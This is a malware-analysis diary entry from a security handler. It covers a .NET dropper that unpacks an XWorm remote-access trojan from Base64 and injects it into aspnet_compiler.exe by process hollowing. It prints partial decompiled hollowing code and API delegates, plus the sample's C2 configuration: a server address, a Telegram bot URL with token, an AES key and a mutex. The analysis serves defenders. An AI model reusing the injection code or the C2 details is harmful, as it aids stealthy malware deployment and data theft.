XWorm Hidden With Process Hollowing
XWorm is not a brand-new malware family[1]. It's a common RAT (Remote Access Tool) re-use regularly in new campaigns. Yesterday, I found a sample that behaves like a dropper and runs the malware using the Process Hollowing technique[2]. The sample is called "@Norman_is_back_RPE_v1.exe" (SHA256: dc406d626a9aac5bb918abf0799fa91ba6239fc426324fd8c063cc0fcb3b5428). It's a .Net executable that is, strangely, not obfuscated. It's possible to disassemble it with ilspycmd:
remnux@remnux:/MalwareZoo/20240723$ ilspycmd Norman_is_back_RPE_v1.exe >Norman_is_back_RPE_v1.exe.src
My next step in malware triage is to always have a look at potential chunks of Base64 data (which are pretty common):
remnux@remnux:/MalwareZoo/20240723$ base64dump.py Norman_is_back_RPE_v1.exe.src -n 50 ID Size Encoded Decoded md5 decoded -- ---- ------- ------- ----------- 1: 50520 TVqQAAMAAAAEAAAA MZ.............. 642ad3e40b11c9623d3988f68818d7d5
The good news, the presence of "TVqQAA" reveals the presence of an embedded PE file[3]. Here is the corresponding line in the code:
RPE1.Program.Run("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe", Convert.FromBase64String("TVqQAAMA ... AAAA=="), protect: false);
namespace RPE1 { internal static class Program { private delegate int DelegateResumeThread(IntPtr handle); private delegate bool DelegateWow64SetThreadMIC4ME(IntPtr thread, int[] MIC4ME); private delegate bool DelegateSetThreadMIC4ME(IntPtr thread, int[] MIC4ME); private delegate bool DelegateWow64GetThreadMIC4ME(IntPtr thread, int[] MIC4ME); private delegate bool DelegateGetThreadMIC4ME(IntPtr thread, int[] MIC4ME); private delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); private delegate bool DelegateWriteProcessMemory(IntPtr process, int BA4ME, byte[] buffer, int bufferSize, ref int bytesWritten); private delegate bool DelegateReadProcessMemory(IntPtr process, int BA4ME, ref int buffer, int bufferSize, ref int bytesRead); private delegate int DelegateZwUnmapViewOfSection(IntPtr process, int BA4ME); private delegate bool DCPA_1(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
Do you see the "CPA_1"? The attacker obfuscated the reference to CreateProcess() behind this name.
Otherwise, we can see all the required API calls to perform Process Hollowing:
1. Create a process in suspended mode
2. Wipe its memory
3. Allocate new memory in the empty process
4. Write the malicious payload
5. Resume the process
Here is the beginning of the RPE1.Program.Run class:
public static void Run(string path, byte[] PL4ME, bool protect) { for (int i = 0; i < 5; i++) { int bytesRead = 0; StartupInformation startupInfo = default(StartupInformation); ProcessInformation processInformation = default(ProcessInformation); startupInfo.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); try { if (!CPA_1(path, string.Empty, IntPtr.Zero, IntPtr.Zero, inheritHandles: false, 134217732u, IntPtr.Zero, null, ref startupInfo, ref processInformation)) { throw new Exception(); } ... if (num2 == buffer && ZwUnmapViewOfSection(processInformation.ProcessHandle, buffer) != 0) { throw new Exception(); } ... int num4 = VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64); ...
CreateProcess(), CPA_1 here, is used to create a new process with "path" being C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe). The second argument (PL4ME) contains the decoded Base64 data, the second stage. The result will be a process "aspnet_compiler.exe" that will contain and run the malware.
Let's have a look at this second stage:
remnux@remnux:/MalwareZoo/20240723$ base64dump.py -n 50 Norman_is_back_RPE_v1.exe.src -s 1 -d >secondstage.exe remnux@remnux:/MalwareZoo/20240723$ file secondstage.exe secondstage.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
This PE file (SHA256: ccbdda883a1ab8170c280680e9f7af7e4001cec36f68773d0a9327991aaa0032). It uses the following C2 config:
{ "c2": [ "104[.]243[.]32[.]185:7000" ], "attr": { "telegram": "https://api[.]telegram[.]org/bot5112782641:AAEVhDgUqm4o4Ygqtq2_C3RuM_QdhcPC7is/sendMessage?chat_id=985608946", "install_file": "USB.exe" }, "keys": [ { "key": "aes_key", "kind": "aes.plain", "value": "9IvH+qReqJ212x6k9TOpTw==" } ], "rule": "Xworm", "mutex": [ "nYYCvxHXYQfAQcPE" ], "family": "xworm", "version": "5.0" }
[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm
[2] https://attack.mitre.org/techniques/T1055/012/
[3] https://isc.sans.edu/diary/Searching+for+Base64encoded+PE+Files/22199
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments